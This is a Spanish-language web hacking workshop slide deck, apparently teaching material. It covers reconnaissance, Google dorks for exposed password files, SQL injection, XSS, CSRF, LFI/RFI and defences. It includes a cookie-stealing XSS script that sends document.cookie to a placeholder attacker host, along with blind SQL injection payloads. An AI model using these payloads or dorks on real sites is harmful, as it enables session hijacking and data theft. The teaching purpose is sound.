Taller de Hacking Web



Documentos relacionados
Optimización de Inyecciones SQL

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Ataques XSS en Aplicaciones Web

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

RETO HACKER DE VERANO

Programación páginas web. Servidor (PHP)

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

PROGRAMACIÓN PÁGINAS WEB CON PHP

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Índice. 1. Introducción al XSS. 2. Taller Práctico Explotando la Vulnerabilidad. 3. Robo de cookies Uso de estas. 4. Arreglando la vulnerabilidad.

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

Seguridad en Aplicaciones Web

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Quienes somos. Eduardo Arriols Roberto Lopez

Su Seguridad es Nuestro Éxito

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS


Gastón Toth Lic. en Computación CEH Pentester

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals

Security Research XSS CROSS SITE SCRIPTING Chebyte chebyte at gmail.com

S E G U R I D A D E N A P L I C A C I O N E S W E B

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Curso de PHP con MySQL Gratis

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

SIEWEB. La intranet corporativa de SIE

Seminario de SEGURIDAD WEB. Pedro Villena Fernández

CURSO DE PROGRAMACIÓN PHP MySQL

Detectar y solucionar infecciones en un sitio web

Hacking ético y Seguridad en Red

ARE YOUR WEB VULNERABLE?

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos.

La importancia de las pruebas de penetración (Parte I)

Solución al Reto Hacking v2.0 de Informática 64

Tema 1 HTTP y aplicaciones web

DOCENTES FORMADORES UGEL 03 PRIMARIA

XPERTO EN DISEÑO DE PÁGINAS WEB

GESTIÓN DOCUMENTAL PARA EL SISTEMA DE CALIDAD

INYECCIóN DE CóDIGO EN APLICACIONES PHP. Autor: Iñaki Rodriguez (2005)

WINDOWS : TERMINAL SERVER

100% Laboratorios en Vivo

Qué son y cómo combatirlas

Maxpho Commerce 11. Gestión CSV. Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd

Guía de doble autenticación

Roberto Garcia Amoriz. Iniciándose en XSS. c_b_n_a. Leganés 6-7 Febrero 2014

Tutorial: Primeros Pasos con Subversion

INSTALACIÓN DE SIESTTA 2.0 EN UN HOSTING (Ejemplo para Guebs.com)

Servicios de Seguridad de la Información

Proceso de cifrado. La fortaleza de los algoritmos es que son públicos, es decir, se conocen todas las transformaciones que se aplican al documento

Para qué XP_CRYPT y SQL Shield?

Securiza tu red con Snort y sus amigos

TOPICOS IV: ING. YIM APESTEGUI FLORENTINO

Programa diseñado y creado por Art-Tronic Promotora Audiovisual, S.L.

MANUAL DE LA APLICACIÓN HELP DESK

PDF created with pdffactory Pro trial version

PROPÓSITO... 2 DETERMINANTES PARA UNA BUENA EXPERIENCIA DE USO...

PHPMYADMIN Y MYSQL. Para gestionar la base de datos MySQL, lo haremos desde la aplicación PhpMyAdmin.

ESTÁNDAR DE CODIFICACIÓN JEE CHECKLIST

Especificaciones funcionales para el acceso al RAI por Web

Introducción a PostgreSQL con PHP

Procedimiento. Actualización de Kit de Conexión de Comercios Webpay versión 5.X a Canales Remotos Operaciones. Transbank S.A.

Índice: Tema Conexión con Bases de Datos

Programación páginas web con ASP.NET 3.5 (C#)

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL BÁSICO

MANUAL COPIAS DE SEGURIDAD

Bypass WAFs KUNAK CONSULTING. Automatizando SQLi con Python. Omar Palomino.

Qué ventajas presenta Google Drive para catedráticos y alumnos?

MANUAL DE USUARIO FACTURACIÓN ELECTRÓNICA

Seguridad en Sitios Web de Alto Tráfico. Ing. Enrique Hurtarte Juárez

Programación páginas web JavaScript y PHP

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.

Kaspersky Fraud Prevention for Endpoints

Manual para la utilización de PrestaShop

ArCERT Jornadas de Seguridad Informática 2009

Instalar y configurar W3 Total Cache

Presentación. Porqué formarte con nosotros?

DESCRIPCIÓN ESPECÍFICA NÚCLEO: COMERCIO Y SERVICIOS SUBSECTOR: INFORMÁTICA

Introducción al desarrollo web (idesweb)

RESUMEN INFORMATIVO PROGRAMACIÓN DIDÁCTICA CURSO 2013/2014

Introducción a ataques de tipo inyección: Inyección SQL

Anexos de Bases de Presentación de Propuestas. Consultoría para la implementación de sistemas de gestión de contenidos para comunidades de RedCLARA

Nº de expediente: TSI Subprograma: Avanza Competitividad I+D+I

PROGRAMADOR PHP y MySQL

RETO FORENSE EPISODIO III Resumen Ejecutivo

Studium, Campus Virtual de la Universidad de Salamanca.

CIMA. MANUAL DE USUARIO

Test de intrusión (Penetration Test) Introducción

Ejercicios - Persistencia en Android: ficheros y SQLite

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

SISTEMAS IDEALES SISTIDE, S.A. SISTEMA GESTION DE USUARIOS

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS

Introducción a la Firma Electrónica en MIDAS

Manual de uso básico de la aplicación

Seguridad de un Portal

VENTA ONLINE DE ENTRADAS DE CINE

Transcripción:

Taller de Hacking Web

Quién soy yo? Soy experto en seguridad informá?ca desarrollando en los úl?mos 4 años mi labor como pentester en diferentes proyectos de hacking é?co para grandes empresas e ins?tuciones, colaborador del programa Mundo Hacker, escritor de diferentes libros relacionados con la seguridad informá?ca y el hacking é?co, formador de los cuerpos y seguridad del gobierno Español y sobre todo apasionado por la seguridad informá?ca y sus aplicaciones en el mundo actual.

Introducción Qué son los ataques a las aplicaciones web? Consiste en introducir código del lado front- end o back- end, con el fin de comprometer la aplicación. Qué?po de repercusión pueden llegar a tener? Dependiendo del?po de ataque realizado, es posible causar mayor o menor grado de repercusión. Y donde queda la seguridad? La seguridad la?ene que a portar el desarrollador. Existen medidas que automa?zan la seguridad? A día de hoy hay diferentes productos que protejen las aplicaciones web.

Ciberataques Son todos aquellos ataques que se realizan contra sistemas informá?cos cuya finalidad puede ser los siguientes puntos: Tomar el control del sistema. Denegación del servicio. U?lizar el sistema infectado como pasarela para realizar ataques. Robo de credenciales. Espionaje. Destrucción del sistema informá?co.

Ciberataques Mapas web donde se pueden visualizar ataques en el pasado y en el presente: hzp://globe.cyberfeed.net/ hzp://atlas.arbor.net/worldmap/index hzp://cybermap.kaspersky.com/ hzp://sicherheitstacho.eu/ hzp://map.ipviking.com/ hzp://www.akamai.com/html/technology/dataviz1.html hzp://globe.f- secure.com/ hzp://www.team- cymru.org/monitoring/malevolence/maps.html hzp://www.digitalazackmap.com/ hzp://www.shadowserver.org/wiki/pmwiki.php/stats/ddosmaps hzp://map.honeycloud.net/

Ciberataques Estadís?ca de ataques web por la empresa WhiteHat Security.

Ciberseguridad El gráfico siguiente con?ene gran parte de las organizaciones que han sido víc?mas de ataques web: Vic$mas Gobiernos 20% Finanzas 10% Venta al por Menor 5% Entretenimiento 5% Polí?co 20% Poveedor de Servicio 10% Educación 5% Hospitales 5% Servicios de Información 10% Hos?ng 10%

Ciberseguridad A con?nuación se listan las posibles repercusiones que podría hacer contra la organización (empresa o ins?tución pública): Robo de Información y a demás venta de información confidencial a la competencia. Manipulación malintencionado con el perfil de un usuario de la organización. Espionaje. Defacement de la aplicación web. Denegación de Servicio contra la base de datos. Denegación de Servicio contra el servidor web. Acceso completo al servidor de la organización mediante la aplicación web. Crear un RootServer una vez está comprome?do el servidor.

Dinero

Diferencia entre Pentester y Cibercriminal A par?r de aquí podemos diferenciar entre un cibercriminal y un pentester. Auditor o pentester: buscara los agujeros de seguridad con el fin de proteger. Cibercriminal: buscara también los agujeros pero con fines destruc?vos.

Etapas de un ataque web Reconocimiento: consiste en obtener información publica mediante medios pasivos o medios ac?vos: Medios Pasivos: hacking con buscadores, herramientas de indagación en redes sociales, análisis de metadatos, herramientas de ges?ón de red, etc. Medios Ac?vos: mediante técnicas de ingeniería social aplicadas a las personas que ges?onen la aplicación web o puedan tener algún?po de contacto con la misma. Enumeración: consiste en escanear la red obje?vo para obtener la mayor información posible sobre toda la arquitectura.

Etapas de un ataque web Análisis: consiste en buscar todas las posibles vulnerabilidades en los disposi?vos encontrados en las fases anteriores. Explotación: consiste en explotar las vulnerabilidades encontradas en la etapa anterior, con el obje?vo de poder perpetrar y eliminar falsos posi?vos.

Etapas de un ataque Desde el punto de vista del pentester: Documentación: etapa final del proceso de pentes?ng donde se describe el pentest realizado en un documento de cara a que luego pueda volverse a reproducir. Desde el punto de vista del cibercriminal: Borrado de huellas: eliminación de cualquier?po de rastro que hubiera podido dejar en el sistema.

El empiece de un atacante Los ataques a las aplicaciones web, empiezan primero aplicando técnicas de fingerprin?ng y footprin?ng.

Recabar Información Fingerprin?ng: todas aquellas técnicas que nos permitan obtener información sobre el?po de sistema, los servicios que corren, la versión de los servicios etc. Footprin?ng: toda aquella información que aparece de forma pública.

Nmap Nmap es la herramienta por excelencia u?lizada por todo el mundo que quiera recabar información sobre que con?ene el sistema. No solo permite iden?ficar puertos y servicios. Dispone de una gran variedad de scripts de los cuales algunos de ellos?enen repercusión contra las aplicaciones web

Scripts Nmap

NETCAT Herramienta u?lizada con diferentes propósitos, uno de ellos es la u?lización de la técnica Banner Grabing. Banner Grabing consiste en obtener la versión de las aplicaciones. El obje?vo de netcat contra las aplicaciones web es obtener la e?queta server que es donde se almacena información.

Resultado NETCAT

HTTPrint Herramienta que automa?za las técnicas de fingerprin?ng, permite iden?ficar el?po de servidor web, la tecnología u?lizad incluso cuando hay un WAF de por medio.

Hacking con buscadores La u?lización de los buscadores es otra forma pasiva para recopilar información. Es posible encontrar información de carácter muy importante para las aplicaciones web, haciendo simplemente uso de los buscadores como google, bing etc. Mediante el uso de determinadas expresiones dentro del buscador podemos u?lizando la araña de google por ejemplo, encontrar ficheros de tarjetas de crédito.

Operadores u?lizados en google hacking Site: restringe la búsqueda solo a la página o dominio. In?tle: busca la cadena introducida en los ltulos de las páginas. Inurl: busca por páginas que contengan en la url la cadena introducida. Intext: la cadena de texto introducida deberá aparecer en el interior de las páginas. Filetype: acota la búsqueda a las páginas que contengan la extensión puesta como cadena en el filetype.

Ejemplos de google hacking Inurl:ws_np.ini [ WS_FTP] filetype.ini Inurl:midicart.mdb ext:cgi inurl:cgi- bin intext:#!/bin/bash Inurl:admin.php Filetype:sql in?tle: index of Index of / password.txt Filetype:inc intext:mysql_connect password please could port

Herramientas google Hacking Google Hacks. Search Diggity. Goodork. SQLmap

Búsqueda de Vulnerabilidades Existen herramientas que permiten automa?zar la búsqueda de vulnerabilidades a la hora de realizar un hacking web. Algunas de las herramientas: Arachni. Acune?x. BurpSuite. AppScan. Nessus. W3af. Grabber. Vega. Skipfish.

Explotación de la vulnerabilidad Herramientas u?lizadas para explotar las vulnerabilidades encontradas: Sqlmap. Havij. SqlNinja. SQLBrute BSQL Hacker. Absinthe. Metasploit. DarkMYSQLI.

Entendiendo los vectores Existen diferentes formas para llegar a tener el vector de ataque: Auditoría de caja blanca: disponemos de bastante información del entorno por lo que a la hora de fijar el vector viene prác?camente acotado. Auditoría de caja negra: hay veces que se dispone de más información y otras veces que menos, pero de igual manera es más trabajoso encontrar los vectores de ataque. Auditoría de caja gris: es una mezcla entre caja blanca y caja negra. Desde el punto de vista del cibercrimen puede haber un obje?vo fijado o bien simplemente un juego de azar.

Obje?vos de un ataque web Evadir las medidas de seguridad existentes para conseguir extraer información de carácter sensible. Provocar un ataque de denegación se servicio que impida el acceso a la aplicación web. Probar a desarrollar nuevos agujeros de seguridad conocidos como 0 days que permitan explotar la aplicación web.

Metodologías Hacking Web OWASP: Es una organización sin ánimo de lucro orientada a desarrollar proyectos de código abierto para mejorar la seguridad informá?ca. NIST: Se trata del Na?onal Ins?tute Of Standards and Technology perteneciente al Departamento de Comercio de los Estados Unidos. OSSTMM: Se corresponde con una metodología abierta desarrollada por ISECOM, en la que se indican las pautas para comprobar la seguridad informá?ca.

Más información de Ataques En la página de owasp podemos ver de forma categorizada cada vulnerabilidad que se puede aplicar en aplicaciones web: hzps://www.owasp.org/index.php/category:azack

Top 10 de Vulnerabilidades OWASP

Tipos de Ataques SQL Injec?on. Blind Sql Injec?on XSS Reflected. XSS Stored. CSRF. Brute Force LFI/RFI. Command Execu?on File Upload

Otras Vulnerabilidades Web Xml Injec?on. Denial of Service. Ajax Injec?on. Xpath Injec?on. Buffer Overflow. Path Traversal LDAP Injec?on. Reflected DOM Injec?on. Cross Site Tracing. Session Fixa?on.

SQL Injec?on SQL Injec?on Fallo de inyección. Falta de validación de entradas. Permite modificar las consultas SQL. Extracción de información.

SQL Injec?on Ejemplo sin sql injec?on: h*p://example.com/news.php?id=23 <?php //... $id = $_GET['id']; $query = SELECT * FROM news WHERE id=$id ; //...?> SELECT * FROM news WHERE id=23

SQL Injec?on Ejemplo con Sql Injec$on h*p://example.com/news.php?id=23 and1=0 <?php //... $id = $_GET['id']; $query = SELECT * FROM news WHERE id=$id ; //...?> SELECT * FROM news WHERE id=23 and 1=0

SQL Injec?on

Diferencia entre sql injec?on y blind sql Injec?on

Diferencia entre sql injec?on y blind sql Injec?on No muestra información de la base de datos en el navegador. Se necesita booleanizar la información. Extracción de datos más lenta.

Ejemplo Blind Sql Injec?on Selecciona al menos un registro de la tabla usuarios. No selecciona ningún registro de la tabla usuarios.

Ejemplo Blind Sql Injec?on 1 = 1? 1 = 0?

Booleanización Representar la información de forma binaria. Extraer un bit de información en cada consulta.

Búsqueda Binaria Buscar un valor en un arreglo ordenado. Reduce la complejidad a la mitad en cada iteración. Muy eficiente.

Algoritmo de Búsqueda Binaria

Por ejemplo:?user=admin' AND ASCII(MID(USER(),1,1))>128%23 ASCII( 'r' ) - - > 114 AND 114 > 128 - - > FALSO?user=admin' AND ASCII(MID(USER(),1,1))>64%23... ASCII( 'r' ) - - > 114 AND 114 > 64 - - > VERDADERO

SQL Injec?on

SQL Injec?on hzp://www.sqlinjec?onwiki.com/

SQL Injec?on Demo SQL Injec?on en DVWA:

XSS Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada). Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de otro sitio web.

XSS Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la victima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

XSS REFLECTED Los ataques reflejados son aquellos donde el código inyectado es reflejado fuera del servidor, tal como en un mensaje de error, el resultado de una búsqueda o cualquier otra respuesta que incluya una parte de la entrada enviada al servidor como parte de una solicitud.

XSS REFLECTED

XSS STORED Los ataques almacenados son aquellos en los que el código inyectado reside permanentemente en los servidores que lo envían, ya sea en la base de datos, en un mensaje de un foro, en un log de un visitante, campo de comentario, etc. La víctima descarga el script malicioso del servidor cuando hace alguna solicitud de contenido

XSS STORED

Ejemplo XSS Considere el siguiente formulario: <form ac?on="/registrar.php" method="post"> <p>nombre de usuario: <input type="text" name="reg_usuario" /></p> <p>email: <input type="text" name="reg_email" /></p> <p><input type="submit" value="registrar" /> </form>

Ejemplo XSS Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { } $_POST['reg_usuario'] = addslashes($_post['reg_usuario']); $_POST['reg_email'] = addslashes($_post['reg_email']); $sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";

Ejemplo XSS Imagine el siguiente nombre de usuario: <script>alert(' Oh no!');</script> Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros u?lizadores.

Ejemplo XSS Despligue por un administrador: <table> <tr> <th>usuario</th> <th>email</th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username,email from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user['email']}</td>\n"; echo "\t</tr>\n"; } }?> </table>

Ejemplo XSS En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

Ejemplo XSS El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.loca?on = 'hzp://maligno.ejemplo.org/roba_cookies.php? cookies=' + document.cookie </script> En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser u?lizados para lanzar ataques de usurpación de iden?dad, obtener datos sensibles, etc.

Demo XSS en DVWA: XSS

CSRF Este?po de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el si?o web a sus usuarios. CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

CSRF Considere un foro hipoté?co en hzp://foro.ejemplo.org/ que u?liza el siguiente formulario: <form ac?on="/add_post.php"> <p>asunto: <input type="text" name="post_subject" /></p> <p>mensaje: <textarea name="post_message"></ textarea></p> <p><input type="submit" value="enviar" /></p> </form>

CSRF Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=123456789

CSRF Considere la e?queta <img> siguiente: <img src="hzp://foro.ejemplo.org/add_post.php? post_subject=foo&post_message=bar /> Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víc?ma va a enviar un mensaje en el foro y sin darse cuenta.

Demo CSRF en DVWA: CSRF

Brute Force Un ataque de fuerza bruta es un método que se usa para adivinar las credenciales del sistema mediante la automa?zación de la prueba de credenciales. Este ataque es conocido como cracking online debido a que ataca a un servicio cuya arquitectura es Cliente/Servidor. Llevado al ámbito del hacking web este ataque repercu?rá en todas la aplicaciones donde exista un panel de login. El Obje?vo de este ataque es sacar las credenciales de la plataforma.

Demo Brute Force en DVWA: Brute Force

LFI Es utilizada en sitios que permiten el enlace de archivos locales, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once(). Solo existe en páginas dinámicas desarrolladas en PHP.

Demo LFI en DVWA: LFI

RFI Es utilizada en sitios que permiten el enlace de archivos remotos, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once(). Solo existe en páginas dinámicas desarrolladas en PHP.

Demo RFI en DVWA: RFI

Command Execu?on Permite la ejecución de determinados comandos en el sistema. Esta vulnerabilidad permi?rá modificar, eliminar archivos y directorios del servidor, las posibilidades son infinitas, su única limitación es el usuario que usa la consola para ejecutar los comandos, así dependería de los permisos de ese usuario para realizar ciertas acciones.

Command Execu?on Demo Command Execu?on en DVWA:

File Upload Consiste en subir al sistema un fichero malicioso ya sea sin aplicar ninguna técnica de camuflamiento o bien camuflando el malware dentro de uno los ficheros considerados por el sistema como aceptable. Algunas técnicas aplicadas para camuflar el malware son: Null Byte. Introducción a través de metadatos. Modificación de las cabeceras del fichero. Modificación de la Extensión.

Demo File Upload en DVWA: File Upload

Expresiones regulares. Validación de?po. Escapar caracteres Especiales. Librerías de seguridad. ESAPI. No solo JavaScript. Medidas de Protección Contra Sql Injec?on

Consultas Parametrizadas: Definir primero la Medidas de Protección consulta y luego pasarle los parámetros. Prepared Statements. Storage Procedures Contra Sql Injec?on

Permisos de Acceso: Las aplicaciones no necesitan la cuenta de Administrador. GRANT ALL PRIV... Es Necesario? Aplicaciones diferentes, usuarios diferentes Medidas de Protección Contra Sql Injec?on

Medidas de Protección contra XSS XSS: HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser u?lizados. Filtrar todos los datos foráneos. U?lizar la funcionalidad existente: htmlen??es(), strip_tags, u 8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. Solamente autorizar un contenido validado. U?lizar una convención de nombres descrip?va.

Medidas de Protección contra CSRF U?lizar el método POST en los formularios. U?lizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. No simplificar las acciones importantes. Obligar al usuario a u?lizar nuestros formularios HTML.

Medidas de Protección contra CSRF Un ejemplo de técnica para obligar al usuario a u?lizar nuestros propios formularios es la siguiente: <?php $token = md5(?me()); $_SESSION['token'] = $token; $_SESSION['token_?mestamp'] =?me();?> <form ac?on="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token;?>" /> <p>asunto: <input type="text" name="post_subject" /></p> <p>mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="enviar" /></p> </form>

Medidas de Protección contra Brute Force U?lización de captchas. Medidas de baneo llegado a los x intentos de error. U?lización de contraseñas robustas. U?lización de herramientas que permiten proteger a los paneles web frente a estos ataques, por ejemplo la herramienta cphulk Brute Force Protec?on.

Medidas de Protección contra LFI Como contramedida podemos recomendar los siguientes items: Filtrar todos los parámetros que un usuario de la página pueda manejar. Asegurarse de que no se pueda acceder a archivos más allá del "Document Root" de la página. Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos.

Medidas de Protección contra RFI Como contramedida podemos recomendar los siguientes items: Filtrar todos los parámetros que un usuario de la página pueda manejar. Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos. Si es posible setear la variable de PHP allow_url_fopen en off

Medidas de Protección contra Command Execu?on No permi?r la inserción de comandos como && o. Filtrar el campo de tal manera que solo permita la introducción del comando esperado. Aplicar comprobaciones sobre el campo, determinando el?po de datos que se le pasarán a los parámetros que recibe el comando.

Otras Medidas de Protección Sistemas de detección y prevención de intrusos. (Snort, PHPIDS) Web Applica?on Firewall. (mod_security) Reescritura de solicitudes HTTP. (mod_rewrite) Basados en patrones. No 100% confiables.

Entornos de Explotación Existen diferentes entornos de explotación web, a con?nuación se listan algunos de ellos: DVWA. NOWASP Mu?llidae. SQLI- LABS. Metasploitable. WebGoat. bwapp. PentesterLab.

Taller de Hacking Tecnologías u?lizadas: Programación del lado Cliente: JavaScript. Programación del lado Servidor: PHPy JSP. Sistema gestor de base de datos: MongoDB y Sql Server. Ataques que se realizarán: Blind NoSQL Injec?on del?po boolean. hzp Parameter Pollu?on. Blind Sql Injec?on?me based. Hooking XSS Stored.

Qué es MongoDB? MongoDB es un sistema de bases de datos NoSQL orientada a documentos, desarrollado bajo el concepto de código abierto. En lugar de guardar los datos en tablas como se hace en las bases de datos relacionales, MongoDB guarda estructuras de datos en documentos?po JSON con un esquema dinámico. No cumple con el esquema en?dad- relación. No impone una estructura de datos.

CRUD Create db.collec?on.insert( <document> ) db.collec?on.save( <document> ) db.collec?on.update( <query>, <update>, { upsert: true } ) Read db.collec?on.find( <query>, <projec?on> ) db.collec?on.findone( <query>, <projec?on> ) Update db.collec?on.update( <query>, <update>, <op?ons> ) Delete db.collec?on.remove( <query>, <justone> )

NoSql

Por qué surge? Poca eficiencia en aplicaciones en las BD relacionales. Aumento de operaciones de lectura y escritura. Gran conjunto de transacciones. Sentencias complejas. Dificultades en las escalabilidad del sistema.

Caracterís?cas NoSQL Consistencia Eventual. Ausencia de esquema en los registros de datos. Alta velocidad de respuesta a pe?ciones. Estructura distribuida. Escalabilidad horizontal.

Sistemas en Producción que usan MongoDB

Web Services Tecnología u?lizada para intercambiar datos entre aplicaciones. Dis?ntas aplicaciones y entornos puede hacer uso de los web services para intercambiar información y procesarla. SOAP: Protocolo sobre el que se estable el intercambio. WSDL: Es el lenguaje de la interfaz pública para los servicios Web. Es una descripción basada en XML de los requisitos funcionales necesarios para establecer una comunicación con los servicios Web.

HTTP Parameter Pollu?on Los ataques de polucción de parámetros HTTP consisten en la inyección de delimitadores query string codificados en otros parámetros existentes. Si el parámetro en el que se ha realizado la inyección no es valida correctamente y se u?liza decodificado para generar una URL, el atacante puede insertar uno o más parámetros en dicha URL. Las consecuencias de este ataque dependen de la lógica de la aplicación y pueden tener desde un leve impacto hasta una gran importancia.

HTTP Parameter Pollu?on Dependiendo del lenguaje del servidor si se aplica el ataque HPP se cogerá el primero, el segundo o ambos parámetros repe?dos.

Beef Herramienta desarrollada en JavaScript es open- source. Permite mediante JavaScript infectar los navegadores y u?lizando una gran variedad de scripts ejecutar diferentes ataques en función del?po de navegador que se haya infectado. Beef es una librería de JavaScript como por ejemplo la librería jquery, que se incluye en una página y esta se distribuye para infectar los navegadores.

Taller de Hacking

Taller Hacking web